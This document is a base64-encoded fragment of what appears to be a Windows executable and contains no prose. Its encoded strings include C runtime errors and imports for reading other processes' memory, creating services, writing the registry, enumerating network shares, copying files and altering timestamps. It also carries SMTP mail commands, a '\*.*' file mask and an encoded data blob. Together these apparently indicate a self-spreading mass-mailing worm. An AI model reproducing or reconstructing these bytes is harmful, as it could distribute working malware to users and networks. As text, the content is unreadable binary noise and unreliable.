AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAcZU0kAAQEBOS2uLqqsri6qDqiu rxklo6kuJaOpLjkAgaguDqiurxmpLwWFOSKrIK0kri4OLqsjGSitICs5K60qqagOqK6vGa2p rDktri6qrK4uqg6orq8Zpa6jr6s5La4uqqyuLqoOqK6vGSOurzmiqa0tqS6qDqiurw4trBmj Kyg5IqsgrSSuLg4uqyMZoK2gOS2uLqqsri6qDqiurxkjqSgoqzkrrSqpqA6orq8ZKKOgLTki qyCtJK4uDi6rIxmvo6ypOaIojyypIakuDqiuDiwhGSOurKWuOaIojyypIakuDqiuDiwhGSGr I6sgOSCuqKyirq4rDqiurw4trBmsqy6vqS45IK6orKKurisOqK6vDi2sGayooq4uqjkgrqis oq6uKw6orq8OLawZKK4uL6urOSCuqKyirq4rDqiurw4trBmvqSCtqS6BOSCuqKyirq4rDqiu rw4trBmrK6+uLis5IK6orKKurisOqK6vDi2sGaAjqyKrLqyuLTkvq6CoLamorg6orq8OoKoZ KqkuLqU5IK6orKKurisOqK6vDi2sGSGpIyCtJK2pj6Cprjkvq6CoLamorg6orq8OKCAZLKsg q6+lI6kuOS+roKgtqaiuDqiurw6gqhkvIy2gojm6M7sOPrszGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZ 